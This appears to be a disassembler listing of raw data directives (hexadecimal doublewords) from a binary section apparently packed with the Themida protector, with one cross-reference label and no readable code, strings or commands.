		dd 0EB381566h, 0F3B1B8B8h, 0DEBD2C8Fh, 0CF5234Ch, 0BCD970DCh
		dd 925A96D5h, 42CEB25Ch, 11349869h, 63D1566h, 44321566h
		dd 22329869h, 0F8531566h, 8832156Dh, 96E1FC27h,	29D83074h
		dd 0EE362F5Eh, 6C3388D3h, 0C1BFED61h, 25D62EBAh, 113E9E69h
		dd 0C3D1566h, 44321560h, 22329A69h, 0C1CD1566h,	88359969h
		dd 0CF3D1566h, 22321567h, 11B79C9Eh, 0E835FE9Fh, 0B0C09400h
		dd 0A5B0AC00h, 0D7532019h, 6C1E38E3h, 50DB5361h, 0CF321566h
		dd 0C3F7374h, 0AE58B21Eh, 0EEA18CE8h, 0C3AB49F4h, 1EDFE7DEh
		dd 883211E9h, 1F617566h, 86327D07h, 9D3D879Ah, 88321567h
		dd 0D987EA9Eh, 4235F167h, 7029C4E6h, 0B3EE90EBh, 0CD3D1282h
		dd 2232156Dh, 11B31A06h, 0EE321566h, 0BB53D4EDh, 223BFCB6h
		dd 0E60E1566h, 6A37FB87h, 0CD628478h, 0C9CB11E3h, 0AE547561h
		dd 4E53548Bh, 0A01E38E3h, 0A03D5361h, 1132156Fh, 53851A06h
		dd 0E1CAAD00h, 33B01A07h, 0F8321566h, 8832156Ah, 864BBE59h
		dd 0F2026970h, 0DB9C1044h, 5C7D7F0Eh, 443EFC90h, 0D1FD1566h
		dd 14D206C3h, 0FFF29482h, 0BBC7BA52h, 0C63388D3h, 113FFC61h
		dd 0AF681566h, 0ADCC26A9h, 87044D24h, 1E0F115Eh, 883219E0h
		dd 42B01A66h, 2D321566h, 113215E9h, 54B79866h, 4B35F15Dh
		dd 223204EEh, 1ABB1A66h, 61321566h, 44321560h, 8902C8DDh
		dd 0C1CD214Eh, 88339169h, 0CDCB1566h, 0C9CB1DE3h, 1122FC61h
		dd 9C621566h, 0B4527475h, 87671F67h, 4779B4A3h,	0DF42054h
		dd 43D6394Bh, 3AB91A20h, 0F8321566h, 88321575h,	59938ACCh
		dd 87324C82h, 71DF4064h, 9CAB1C2Ah, 2CAE000Ch, 0B6FF4581h
		dd 11389F69h, 8DDB1566h, 3C321566h, 0A2B45F66h,	10AFA099h
		dd 53D1282h, 44321561h,	0F06FAD06h, 9C532040h, 6C09C9E3h
		dd 4434FC61h, 0B7A1566h, 0B4BAD014h, 0EEEA9E06h, 0BCDCF7E7h
		dd 42E2EA07h, 11321B8Eh, 0B8D15B66h, 38EFDA97h,	76A00747h
		dd 91E8482Ah, 96826ADh,	0DC2A5EB9h, 0A7BB747Ah,	16D9ED92h
		dd 0A5B7D393h, 235F14Ah, 223C9C69h, 18DB1566h, 0CF321566h
		dd 84D6ABABh, 807C93D6h, 11339669h, 0E0C71566h,	0F510615Dh
		dd 2232128Fh, 0BD053266h, 0E79E6CCBh, 45AFA099h, 0A03D1282h
		dd 11321571h, 8832078Fh, 34885366h, 1513CECFh, 6DF25590h
		dd 21B655Ch, 0BD299C7Ah, 19EE90EBh, 1BDB1282h, 2C321566h
		dd 63034788h, 7BC3A74Ah, 71E2EA2Dh, 0DBE3A269h,	256DDAD4h
		dd 0DACA90EFh, 18DB128Dh, 7E321566h, 89D3E1E1h,	0E2993DCEh
		dd 3D1F90A0h, 61741282h, 44321575h, 24559E0h, 52EAD969h
		dd 8016D5BEh, 0EBBF943Dh, 4A401E32h, 0CE4BFF8Bh, 88339D69h
		dd 0BBC71566h, 0C63388D3h, 10B41A61h, 7D321566h, 7FEE90EBh
		dd 36DB1282h, 9A321566h, 6484553Ah, 0DF601D63h,	0C5C2C3CEh
		dd 0ECE471Dh, 0E8F5A7D4h, 8A851A9Ah, 2DE2EA07h,	113219E5h
		dd 1A897566h, 2258C394h, 1726F4E7h, 0EDB79C07h,	7D35FE9Eh
		dd 6AEFA8E5h, 2D321282h, 113275E3h, 0DB647566h,	4BDB4B3Eh
		dd 45321566h, 9DE048B2h, 0C62E14ECh, 0BB6BD8FEh, 0E4530FC5h
		dd 0F51E38E3h, 0E0CB4661h, 8A8CF538h, 22339469h, 0EECA1566h
		dd 6C3388D3h, 4FB61A61h, 0CB321566h, 11321560h,	8108D22Bh
		dd 0C1BF59E9h, 25D62EBAh, 1132138Fh, 0BC727F66h, 0BB4B0C50h
		dd 0A7BBEDB6h, 16D9EDFEh, 0A5B7D39Ah, 335F14Ah,	7CB57D9Eh
		dd 0EECBD2D7h, 6C3388D3h, 443FFC61h, 0F1E31566h, 70A59ABCh
		dd 32D2775Ah, 0C98F3D2Ch, 0C609C9E3h, 943DE961h, 88321567h
		dd 4BE2EA9Eh, 223214EFh, 9D3DE966h, 88321567h, 0D8B79C9Ah
		dd 2D35FE9Eh, 113214ECh, 35B1EC66h, 43D63BBBh, 51B71A66h
		dd 0E8321566h, 0E9C59E06h, 681F90A0h, 0CB751282h, 1132156Fh
		dd 0DFFCA161h, 0AE0FF6D7h, 5C377D95h, 7152F304h, 7BB97406h
		dd 0FC544607h, 436914FEh, 10AFA099h, 9ADB1282h,	91321566h
		dd 65412A49h, 0DA61BA64h, 513E1C5Fh, 0BEAD086Ch, 223FFCA1h
		dd 94DF1566h, 0AB43AB36h, 47091B50h, 0AF8C6892h, 0F509C9E3h
		dd 3F3D7561h, 25EB9F9Eh, 0ABCAC599h, 0FACAB5E3h, 0DF4E961h
		dd 43D6394Bh, 2ADBE025h, 4D321566h, 438F953Eh, 2CA0F495h
		dd 0B0481C90h, 11229F69h, 83DB1566h, 64321566h,	2A585C12h
		dd 0D97E6437h, 3DCD9ABBh, 43D614FBh, 22339F69h,	9CCA1566h
		dd 6C09C9E3h, 94CDE061h, 86B79C9Eh, 7135FE9Eh, 914AAB00h
		dd 69B7D307h, 6135F14Ah, 11339D69h, 0E0CB1566h,	0B8138246h
		dd 22349869h, 46521566h, 0E9E19E3Fh, 442B9A69h,	36DB1566h
		dd 0B9321566h, 894959ACh, 0ED928A05h, 17D51F0Dh, 6AAC1B65h
		dd 77F6C6FDh, 0A03388D3h, 0CA52ED61h, 11321575h, 0BFB6D59Eh
		dd 43A52005h, 9B99EAF7h, 0BF34CB3Ch, 0D2831F23h, 98B79807h
		dd 0CB35F15Dh, 1132156Bh, 27819548h, 3675B6BCh,	0B9AB1305h
		dd 0F8E2EA0Fh, 88321575h, 0C37D4CDBh, 0FB9141A1h, 0C965FAD1h
		dd 75366D02h, 0CD515426h, 0C9CABDE3h, 0ACB1E061h, 8FD63BBBh
		dd 6CB71A66h, 0CB321567h, 11321575h, 25180851h,	0CE371331h
		dd 38B2EAE6h, 9836510Eh, 4EC253D5h, 0A01E38E3h,	25DB5661h
		dd 2B321566h, 0BA48FC20h, 475A90B7h, 2DB915CEh,	113214EBh
		dd 3DCDE066h, 43D614FBh, 22229469h, 1ADB1566h, 0E321566h
		dd 0DF66EAD2h, 44131D3Ch, 94BF6C34h, 8FD62EBAh,	4BE2EA9Eh
		dd 22321BEEh, 113BFC66h, 0CAB51566h, 2055BFB0h,	0AB39A34Fh
		dd 0FACAA5E3h, 8821FC61h, 0ADC91566h, 0B465E8A3h, 0B2FD82ABh
		dd 8DD16C8Ch, 0DC608A23h, 223EFCA7h, 7BBD1566h,	327D43B8h
		dd 39694159h, 0A7F426ADh, 16D6394Bh, 38CE7525h,	915A74C1h
		dd 2DD74E50h, 113200E9h, 8822FC66h, 1F821566h, 0E3C1BE0Fh
		dd 7A3480FBh, 8E236B6Fh, 0F1CD42C9h, 25D614FBh,	34F69506h
		dd 88B91A35h, 1F321566h, 0A7BFED07h, 16D62EBAh,	81DAEC06h
		dd 0B6321566h, 88BEE777h, 0EC1EDD53h, 88329769h, 256A1566h
		dd 2D52C599h, 113214E7h, 153E966h, 0AFCAB9E3h, 36B61A61h
		dd 0F8321566h
		db 69h,	15h, 32h
byte_60351B	db 88h			; DATA XREF: Themida_:005851C0o
		dd 3D176E96h, 0EF5E0512h, 4EE91A63h, 4EA8C9D5h,	0A01E38E3h
		dd 4ACB5661h, 0FB982787h, 88321A8Fh, 8229AB66h,	40DC6139h
		dd 7D55378Ch, 0ACA097BCh, 0D987EA9Ah, 0CB35F167h, 11321577h
		dd 0B91D729Dh, 31958C9Ch, 7E6B0D4Ah, 0CBB8A2E8h, 54B79856h
		dd 4B35F15Dh, 223210E7h, 0A63D7566h, 58CD74ADh,	4432138Fh
		dd 0F3093166h, 0F8C67B8Ah, 88321569h, 0B9B6C3B2h, 6F5F06A6h
		dd 5C95344Dh, 1A6C20Bh,	0AFCAA1E3h, 3FBA1A61h, 1E321566h
		dd 883202E2h, 4420FC66h, 0A3721566h, 940F6162h,	0D213A106h
		dd 88F1F890h, 0D59EB44Ah, 3D1F90A0h, 70711282h,	0B59E220Eh
		dd 223AFCE2h, 81B91566h, 7D7021CAh, 0F1CD204Ch,	25D614FBh
		dd 0CDB7989Ah, 7135F15Dh, 0CA3DC599h, 22321567h, 0A9B79C9Ah
		dd 7035FE9Eh, 681F90A0h, 0DB7D1282h, 24A2C10Eh,	3DCDECF1h
		dd 43D614FBh, 2232068Fh, 78B74966h, 3F44F74Bh, 6C48AA64h
		dd 0B52E2D2Bh, 95AB8C02h, 0B3EE90EBh, 4EDB1282h, 6D321566h
		dd 86002DB5h, 5534CA4Ch, 54B61ACBh, 0CB321566h,	1132156Dh
		dd 0B4E98B08h, 3FEB9A5Ah, 0DDE5853Ah, 113EFCB6h, 6D341566h
		dd 4467E276h, 0B5F43627h, 94BBD7F8h, 8FD9EDDAh,	69B7D39Fh
		dd 6D35F14Ah, 1132048Fh, 0D6F47D66h, 0F6701E62h, 6BD08BD1h
		dd 36DE4D5Eh, 8A5A80C7h, 4BCB7B68h, 22321DE3h, 13B51A66h
		dd 0E8321566h, 0D987EA07h, 4235F167h, 9A54D2EDh, 0DBF74BFh
		dd 43D62EBAh, 0DBFD9E06h, 0F8E2EA07h, 88321568h, 0AC08D10Ah
		dd 1EAAF251h, 31ADF62Dh, 0DBBEF01h, 43D9EDA6h, 0FB7D39Ah
		dd 5C35F14Ah, 0F17B7D9Fh, 24CBDD51h, 43CDA269h,	10AFA099h
		dd 9BDB1282h, 0D6321566h, 50C072CEh, 0A6B48E06h, 332BCD74h
		dd 21C6FEC3h, 0A7BF40C3h, 16D62EBAh, 88229469h,	4FDB1566h
		dd 0C1321566h, 8B920FAEh, 0E13024A1h, 94CD5EEAh, 0EAB79C9Eh
		dd 7135FE9Eh, 88321F8Fh, 61DA0D66h, 32DC676Eh, 0A4369220h
		dd 0DF474B8h, 43D6394Bh, 0CCB8752Bh, 11321B8Fh,	0E9388066h
		dd 0C6C0425Fh, 20E961DCh, 70773A1Dh, 7F7F9C0Eh,	4437FCBAh
		dd 86F91566h, 0EE5F7AC2h, 6C3388D3h, 0C9CAEC61h, 0C609C9E3h
		dd 1138FC61h, 19D11566h, 44610345h, 75FE09B9h, 0F952C599h
		dd 88321574h, 7D68C72Dh, 0EFC898BCh, 2A57DFD5h,	7AE55ED6h
		dd 4B6CF964h, 223213EFh, 11B41A66h, 0E9321566h,	0BCF690EFh
		dd 36DB128Dh, 0D2321566h, 7ABFD780h, 4A61036h, 4B9774D8h
		dd 0E14E436Bh, 4E6D564Bh, 0A01E38E3h, 42524061h, 1132068Fh
		dd 0CFCB0266h, 308A569Eh, 12348DA7h, 0DBBE879Ch, 60EFB65Eh
		dd 30ACFFE7h, 0DB536606h, 3C057D07h, 8752897Dh,	443214E1h
		dd 0A954E066h, 0A4CD749Fh, 8FD614FBh, 44359469h, 0AF3D1566h
		dd 11321567h, 54B7989Ah, 2435F15Dh, 0A350D1E6h,	851D0AEh
		dd 58CD7418h, 44321A8Fh, 0A2ABC866h, 66E5E352h,	55721C23h
		dd 0C243BE11h, 0DAFE90EFh, 983D128Dh, 8832156Ah, 44349E69h
		dd 0A43D1566h, 11321566h, 0A41F90A0h, 0AD711282h, 22321574h
		dd 0A201E7C8h, 1627E936h, 0D21A9816h, 0D5CD186Eh, 3B5A2A4Ch
		dd 7DE0C096h, 45AFA099h, 0AFCB1282h, 0F509C9E3h, 883DFC61h
		dd 0BBDF1566h, 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 94CDE059h
		dd 22359769h, 933D1566h, 88321567h, 94B79C9Ah, 0DA35FE9Eh
		dd 3D1F90A0h, 7D601282h, 4432018Fh, 51BAC666h, 8B29A7D8h
		dd 3963DD46h, 35688F33h, 627E9CE1h, 0A5D87DA0h,	80DBE824h
		dd 0F7321566h, 8DF9BCA6h, 0EEE01264h, 6C3388D3h, 4439FC61h
		dd 1A5B1566h, 0B361AD1Eh, 0F4BA2323h, 98B79844h, 0CB35F15Dh
		dd 1132156Fh, 8F67E976h, 0B043FCD9h, 0CBE2EADDh, 1132156Dh
		dd 0B4A59146h, 0B6E2F53Eh, 0AB9AE7D3h, 0F5139CE3h, 40B97561h
		dd 4435FC06h, 50921566h, 0AA6F8A50h, 5357AADFh,	2553271Fh
		dd 0E1F90A0h, 71751282h, 0A2968CDEh, 4AB01A6Bh,	0CA321566h
		dd 1132156Eh, 8C072B8Bh, 498D5EBEh, 0BB5A743Fh,	0F8D08D3Fh
		dd 8832156Dh, 0CFFE250Eh, 334DFB5Dh, 7114C473h,	7EB37306h
		dd 50DA4453h, 75321566h, 0B9EA0E0Eh, 0B36F0A6Bh, 0F6EEDEEEh
		dd 0B9760827h, 4E87470Ch, 8CB61A07h, 22321566h,	4371D3D8h
		dd 10AFA099h, 93D1282h,	4432157Fh, 22219869h, 1FDB1566h
		dd 91321566h, 8EBC4CDCh, 5AC73D14h, 3EA64FA9h, 54B79862h
		dd 0AD35F15Dh, 22321569h, 895EF8CFh, 1E66D9ADh,	109311FAh
		dd 0DDF505B3h, 113DFCB6h, 0A66A1566h, 69E14756h, 8F411852h
		dd 0EC352660h, 5CB79C77h, 4B35FE9Eh, 22320BEEh,	0DB7566h
		dd 2F321566h, 7DA70BD8h, 0A41F5085h, 0B84ABA87h, 95A1EFF5h
		dd 44329469h, 0E4531566h, 0F51E38E3h, 86DB5261h, 26321566h
		dd 7CED67CDh, 0E3FD1585h, 0EF2BF94Ch, 57B51A0Bh, 0CB321566h
		dd 11321568h, 0D173C3EDh, 501B979Dh, 859883DCh,	0D35ADCEAh
		dd 7483E806h, 45AFA099h, 2DDB1282h, 60321566h, 167DEF31h
		dd 2D9C77ACh, 0A7C80066h, 94BFDC01h, 8FD62EBAh,	4432078Fh
		dd 7A202266h, 56323E00h, 0E6EC276Fh, 2DA04C90h,	0DDC43F5Ah
		dd 19BC1AB6h, 87321566h, 443217E4h, 0AB537566h,	0FACACDE3h
		dd 80B51A61h, 4B321566h, 223217E4h, 0D7537566h,	6C1E38E3h
		dd 2CCB5261h, 0FD94EB72h, 1132018Fh, 0CC215C66h, 7951AA27h
		dd 0E4D7B10Ch, 29491097h, 2855236Ch, 4423FC07h,	7BA61566h
		dd 0F03800B6h, 0DE2EBC6Dh, 75C6C2ABh, 0DD4DA0D7h, 0F53388D3h
		dd 8822FC61h, 1F0C1566h, 9FD73049h, 0BC8F4F78h,	19EB7046h
		dd 4ADB70BFh, 0E321566h, 124D45CAh, 61E07DFEh, 7822F168h
		dd 0FEB79865h, 0E935F15Dh, 73D7506h, 44321566h,	0F62CAF00h
		dd 1126FC07h, 714A1566h, 0AF003194h, 0F64984ADh, 0FD0845E7h
		dd 5CB26C6Fh, 0BB53D812h, 2226FCB6h, 1CCC1566h,	0E54158C3h
		dd 0ECE445CBh, 7B5642EDh, 0CC0AE1E6h, 0EE527AD9h, 0E1ABCCE7h
		dd 2232188Eh, 0F97E66h,	0C955982Fh, 735FB89Eh, 43527BB4h
		dd 94BB7438h, 8FD9EDBAh, 44B21A06h, 43321566h, 3D1F90A0h
		dd 876D1282h, 443214E1h, 4A5AE066h, 1EAC4594h, 88321AE3h
		dd 42DB7566h, 0E6321566h, 0C25B66EFh, 0E9537534h, 45AFA099h
		dd 0AD3D1282h, 11321567h, 54B7989Fh, 0BC35F15Dh, 4452C599h
		dd 0AE3F69DEh, 0E8488D7Ch, 0A4B79C07h, 0CB35FE9Eh, 11321577h
		dd 474307E0h, 6D233E3Bh, 1858863Fh, 1852C538h, 0A5B7D333h
		dd 0B35F14Ah, 22321F8Fh, 4F36D666h, 0D194D41Ch,	0ADD2CE04h
		dd 22321577h, 5BC58A36h, 0DD7ED985h, 3CD032F1h,	0E7CFC684h
		dd 6A0D7DEFh, 63DD29Ah,	4432156Ch, 0A3CAA306h, 4FDB3196h
		dd 3DCD7476h, 43D614FBh, 223CFC93h, 572E1566h, 91990A8Dh
		dd 955C4642h, 49080C4Fh, 2AEE90EBh, 36521282h, 65AAE612h
		dd 7D537530h, 8B11A07h,	61321566h, 44321572h, 0DD396AEEh
		dd 5400B03h, 69CCEE13h,	0EE4312D1h, 0F0F560DEh,	963DC599h
		dd 88321571h, 4432078Fh, 0AACA6366h, 0D1234598h, 0F669E81h
		dd 6E5CDFD4h, 0AB5FF836h, 0FACB19E3h, 0EE52E961h, 253B67DEh
		dd 0E1F90A0h, 71751282h, 88349969h, 0CF3D1566h,	22321566h
		dd 11321F8Fh, 3EC7B366h, 670C26E9h, 4385C0B3h, 0A3C99E06h
		dd 0C45A747Ch, 0BCC84E08h, 23AFA099h, 9CC71282h, 6C09C9E3h
		dd 4422FC61h, 85FD1566h, 0E7E0BAFDh, 8CB9393h, 5DAA2F32h
		dd 0F2CD579Dh, 11349869h, 3521566h, 25EB9EA9h, 0DB2290EFh
		dd 9F3D128Dh, 8832156Eh
		dd 44309F69h, 43521566h, 3D1F90A0h, 0E8751282h,	0FC288EDFh
		dd 3AC6952Ah, 35FF7D07h, 77C7D660h, 0A03388D3h,	0DECB7561h
		dd 0CDB79807h, 6135F15Dh, 4432156Dh, 0C6B3354Fh, 67D1C1EBh
		dd 777EA490h, 48B01AB6h, 42321566h, 0D4BDAE00h,	88329169h
		dd 0CD531566h, 0C9CB01E3h, 10B91A61h, 70321566h, 681F90A0h
		dd 426D1282h, 58887306h, 498D1A81h, 4435FD07h, 0D4021566h
		dd 0DF828DDDh, 883CFDFDh, 66651566h, 4A7A834h, 9B651481h
		dd 6A7401Ch, 2C534B39h,	0F68975AAh, 113B9569h, 2521566h
		dd 0E887ACA7h, 0DD536269h, 0F53388D3h, 0DBFED61h, 43D62EBAh
		dd 0D7E2EA9Eh, 0E9D690EFh, 4ECE128Dh, 0A01E38E3h, 0AD3D4A61h
		dd 1132157Dh, 3CFD9506h, 4432058Eh, 18525E66h, 9A485DFAh
		dd 45C6069Fh, 3220C81Bh, 4A534B01h, 8FDB4128h, 63FA9406h
		dd 0F7383A57h, 97CD74DBh, 16D614FBh, 88389269h,	24521566h
		dd 0B1C39407h, 7030DFF8h, 88219D69h, 4ADB1566h,	32321566h
		dd 0D3F3EBBDh, 0B922DA68h, 0D708E473h, 0FEB7983Bh, 0F835F15Dh
		dd 88321560h, 87AB0BFCh, 0F2CD55BEh, 0D2B84406h, 1CA7439h
		dd 0AFCAFDE3h, 2223FC61h, 0E6A21566h, 990644B3h, 0E62C001Ah
		dd 0E0F8EBC4h, 0D76F726Fh, 6C1E38E3h, 24524A61h, 22321D8Fh
		dd 223EEE66h, 136B3443h, 0BEB9734Fh, 43E49E07h,	21A5D0Eh
		dd 8820FCB7h, 3CDF1566h, 20D39671h, 6387675Fh, 0A1DF419Fh
		dd 0E14A2E0Bh, 2222FC06h, 1D261566h, 86A5239Ch,	0B77ACEECh
		dd 0C1C3E9AAh, 0EE53409Bh, 6C3388D3h, 443AFC61h, 0C3231566h
		dd 93DE5026h, 0DBF8182h, 43D62EBAh, 223BFC06h, 0DDC71566h
		dd 0D0B195B8h, 22ADB437h, 437EF5D9h, 0F852C599h, 8832156Fh
		dd 464001C7h, 0F745F20Ah, 18DB46B7h, 37321566h,	74C9226Ah
		dd 53D0E3BFh, 94BB743Ch, 8FD9ED8Ah, 4B367F9Ah, 223201E2h
		dd 113DFC66h, 0B8381566h, 0CB3C9758h, 0C5CE6F1Dh, 1747B461h
		dd 98327D2Dh, 2CCA1566h, 22320566h, 11269269h, 83D1566h
		dd 44321568h, 22321C8Fh, 0AE8B2366h, 0C653E4Dh,	44586C4Ah
		dd 53A7EA9Ah, 1E35F17Fh, 883200E0h, 4422FC66h, 0D13E1566h
		dd 7080A936h, 6A344FB7h, 0C9FDB407h, 0A7BBED7Bh, 16D61B5Fh
		dd 8832078Fh, 1D026E66h, 0F7EFABE2h, 0C991D089h, 0FB917346h
		dd 24849F8Dh, 22321D8Fh, 0BA864766h, 641CD7Ah, 0C953E99Ah
		dd 0C9955FE3h, 113EFC61h, 79371566h, 3288E1ECh,	27FD3C19h
		dd 0EECA47EFh, 4A8375B6h, 4432058Fh, 6DFB2566h,	85C23811h
		dd 0A6CA792Bh, 24A1376h, 0AD3D74D9h, 11321567h,	74367F9Ah
		dd 4422150Eh, 0D0B27566h, 3857AE97h, 715308CFh,	4412150Eh
		dd 0A13D7566h, 11321562h, 0D2FDAD00h, 0BD327F07h, 3B438099h
		dd 0F9521282h, 88321572h, 0A2B8AE9Eh, 0F886161Dh, 0A243BB5Ch
		dd 321301A8h, 49269F77h, 0A86C4A37h, 94BB74A5h,	8FD60E8Fh
		dd 4432078Fh, 87E1FF66h, 5BE437D5h, 963E6DFAh, 0ACD6737Dh
		dd 0AB5F4857h, 0F50118E3h, 0C858EC61h, 0A9897306h, 0E2A3AB7Fh
		dd 79534190h, 88320566h, 4438FC06h, 55CF1566h, 5F32492Dh
		dd 0A7339A12h, 99DD9400h, 225A742Dh, 1E321466h,	883214E4h
		dd 4458E966h, 0C38C4606h, 4E35612Ch, 2BBD9DD8h,	2252742Bh
		dd 1DAED4E7h, 52887306h, 42B3732Bh, 25539391h, 3B438099h
		dd 16DB1282h, 0E6321566h, 21C2D114h, 0A7BB73CFh, 16D60E3Bh
		dd 6DFD9406h, 4B76C652h, 223215EFh, 0A4B97466h,	8FD61A2Fh
		dd 0DDAF9E93h, 4235F172h, 96F9AFD8h, 0F5D0AD47h, 2453782Ch
		dd 0CCEC9400h, 0CAB37378h, 153CF6Dh, 0A02AFCD3h, 223FFC61h
		dd 0E2E31566h, 45942861h, 1662BCC1h, 0ABA40655h, 0F51F5CFBh
		dd 89BA1A61h, 0BD321566h, 2232018Fh, 0FF851766h, 70AC65h
		dd 156D9CAEh, 7EDC1378h, 0C7D91AF3h, 11AF9E07h,	0AD35F172h
		dd 2232156Fh, 0B302CB1Ah, 71F50792h, 0CF01EA71h, 0E6B3316Ah
		dd 11321562h, 88321B8Fh, 0CD37DA66h, 0A0BF4734h, 0FE8D489Dh
		dd 0BB73069h, 0C03D159Fh, 22322C82h, 11339169h,	0DDCB1566h
		dd 81B3F0EFh, 22321562h, 9636F8E5h, 16E314Ah, 4EDB3162h
		dd 0DC321566h, 2D8BE02Dh, 0AA2D797Ch, 4434FC6Ch, 8B971566h
		dd 0ABE124C0h, 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h
		dd 0E8CB316Ah, 7553E906h, 223AFCA6h, 0D1AD1566h, 8C4E7F83h
		dd 0C1BBF5E7h, 25D607B7h, 113A9B69h, 33D1566h, 44321564h
		dd 1E5A7406h, 9A321566h, 4CB33152h, 44321562h, 20BA1A06h
		dd 71321566h, 4EB37407h, 205969BAh, 7582FBE7h, 65314163h
		dd 4EB33542h, 103742D6h, 5EEEFBE7h, 77CB710Dh, 0E937E9CBh
		dd 47158949h, 75123122h, 8D1D74D9h, 0D7CA3C41h,	44321B8Fh
		dd 0BE6FD366h, 7AF57193h, 0C1420F5Eh, 0BB5DDDD8h, 16B36D16h
		dd 4B378642h, 31634B46h, 39EB313Ch, 0A37B542Fh,	6E2CD38Fh
		dd 0D1FC243Bh, 17EB9E06h, 42534B9Eh, 0B5A1AB35h, 0E96D2341h
		dd 2D84D3E7h, 0CCB37EBAh, 335374F5h, 0A8166165h, 25A1D3E7h
		dd 0CCB33707h, 7AEE7CD0h, 8835FD06h, 3AF21566h,	72A8BEECh
		dd 37F1945Bh, 0D77DB976h, 0BB5375D7h, 26B30D10h, 9D2EA442h
		dd 0AC0E9E42h, 4436D1E7h, 0CDB31566h, 35BE09D7h, 88359969h
		dd 0C03D1566h, 22321567h, 9A547593h, 35BB74A0h,	43D61153h
		dd 0DAB97306h, 1ECD9007h, 88327CE3h, 4422FC66h,	0BD6F1566h
		dd 687AA45Ch, 0A64FF117h, 1F8992A5h, 3FDA93ECh,	71321506h
		dd 83DBDCD4h, 0A3321566h, 20F32B87h, 0FA15133Fh, 61533A88h
		dd 44321574h, 1E3B9C6Ch, 750C2F2Ch, 0ACB0B9F0h,	7BCD9024h
		dd 3FDBCD65h, 1E321563h, 88320CEEh, 4426FC66h, 4BF81566h
		dd 0E8D5DBE2h, 3423E191h, 2C56DD9Bh, 90302598h,	665A2311h
		dd 1321537h, 13CE316Ah,	0A11601EDh, 0A85211A2h,	0BA1797A7h
		dd 4432128Fh, 934B1D66h, 29BEDABh, 8CE07E07h, 4432018Fh
		dd 1E9AC466h, 0D68529Dh, 99AC915Fh, 0AADAAE40h,	71636F28h
		dd 84BBE9E3h, 8FD63AC7h, 44249569h, 93521566h, 113FFC35h
		dd 84B31566h, 755CAB7h,	0E123B03Fh, 70B79076h, 98DB110Ch
		dd 14321566h, 3A50D1B2h, 0CD3DA5D9h, 4754E1F0h,	4B045C1Eh
		dd 22321DEFh, 13B51A66h, 0E8321566h, 54327D07h,	36DB1566h
		dd 0B9321566h, 997ACCCCh, 7FF069CEh, 0C28D5DA1h, 2C7D057h
		dd 0E8487D16h, 77FD9400h, 24B81A15h, 1E321566h,	883215E1h
		dd 0CD647466h, 26F49480h, 92321566h, 0BCB51188h, 50BB4942h
		dd 2FBE1A42h, 0F8321566h, 8832156Eh, 0F086C95h,	0EF8AC737h
		dd 7752150Ch, 84775DFh,	0B8538284h, 3B438099h, 5DB1282h
		dd 0B1321566h, 0C0154C83h, 0E4F05C9Ah, 3A60EDB6h, 7E1CB39Ah
		dd 0CD3AAC7Fh, 0C61468E3h, 1DB81A61h, 87321566h, 443213ECh
		dd 22BD1A66h, 46321566h, 167D2EFh, 19D89C9Bh, 0D9B97539h
		dd 706BE6E6h, 8839FD06h, 9C241566h, 99ACDB3Bh, 0A68D60C6h
		dd 88B71AE3h, 1E321566h, 3DE89400h, 25CD74EEh, 4CB14C42h
		dd 52B31A62h, 2D321566h, 113205E2h, 8839FC66h, 94271566h
		dd 55138EB7h, 0CB912A39h, 0D664FD59h, 55DB1566h, 6D321566h
		dd 3542EAD6h, 0BE6785Eh, 301B372Ah, 9ACC35A6h, 1EB7A106h
		dd 883217EFh, 25E49E66h, 22709F0Eh, 35069C66h, 85DBB893h
		dd 0E6321566h, 2481DC3Ah, 38FF7D0Fh, 0BCE9836Bh, 905BB763h
		dd 676162Dh, 0B38F4042h, 0A179C10Fh, 4BDB488Eh,	0E7321566h
		dd 0EFD90276h, 729ABA37h
		dd 0E36E15BCh, 0DA03C7F8h, 0E903D257h, 8821FC9Eh, 0D4321566h
		dd 594E22Dh, 37C968ADh,	5362FD1Bh, 0EC740E58h, 3EB9423Dh
		dd 15F69642h, 0C4497D9Ah, 78BB1566h, 223DFC42h,	4671566h
		dd 1B83729Bh, 0F247C4E4h, 0B6951769h, 0E4F2255Ch, 87CF60C8h
		dd 44320CE1h, 2226FC66h, 0ACD81566h, 0AE6F3DBh,	5E38D1DAh
		dd 69DD2E0Ch, 0E8721092h, 99DBC28Ch, 62321566h,	0F0220F3Eh
		dd 0CE444FC7h, 0A0B9FE14h, 0DF97FE72h, 0F8B97306h, 0E0B9E006h
		dd 0BCCD7407h, 80B34B42h, 22321562h, 11249569h,	99DB1566h
		dd 60321566h, 9972A272h, 5E945A14h, 0E74957ECh,	3C6EF6BCh
		dd 98DFAE7h, 0FEB373F5h, 8D3D591Dh, 83B3CA4Fh, 273D591Dh
		dd 3A8DD2E7h, 8EDB73F5h, 12321566h, 33B0467Eh, 0F0BB4444h
		dd 8836D4E7h, 0ADB11566h, 63E9262h, 35269C3Ah, 81874206h
		dd 1353EC39h, 331621E7h, 4B789165h, 8B23AB30h, 0B6035FE2h
		dd 9FB9E938h, 16D61B5Fh, 88B91A06h, 0B1321566h,	0DDCDAC07h
		dd 20CAEA99h, 3361E0A6h, 44321566h, 2E8BFEE7h, 0E2330051h
		dd 848BD6E7h, 47B80051h, 0A954753Dh, 1137FDB9h,	50E41566h
		dd 4BAC407Bh, 223215E8h, 21534F66h, 3C775AEh, 0FB657495h
		dd 5B500C81h, 0F72AD2E7h, 761B93FBh, 70CDE939h,	60694E1h
		dd 199925AEh, 0B1611EDh, 8C0711A2h, 423ABE56h, 11321E8Eh
		dd 0E1E96466h, 88EE384Dh, 18141F1h, 0F8CAF00h, 8AB91A39h
		dd 24321566h, 0CBF37407h, 858D756Eh, 0E957FBCEh, 4B52D457h
		dd 0A354C3D1h, 70CD4486h, 0E0B71A2Ch, 24CDEA99h, 22321B8Fh
		dd 0A4274866h, 0D2CA1D1Dh, 3D380831h, 97AF6DA5h, 9864740Ah
		dd 0D66A43A8h, 22C7759Fh, 7253DFEDh, 0E66B4D37h, 8DDB84B7h
		dd 5A321566h, 2E270FD1h, 4B162199h, 8736D1E5h, 443201E7h
		dd 223DFC66h, 67F81566h, 3EAE1DA9h, 6CE6C146h, 0B50D6671h
		dd 15DE9637h, 331609EFh, 44321566h, 21BBC667h, 0CFB3753Dh
		dd 9CAACC8Dh, 94B2E906h, 0CB5374FAh, 11321576h,	0AEB694A6h
		dd 49F90296h, 0B847B8D6h, 0A872D01Ch, 8836AD36h, 0AEB31566h
		dd 790E2722h, 0D3B3D767h, 0D30E2722h, 45BE1A3Eh, 0DB321566h
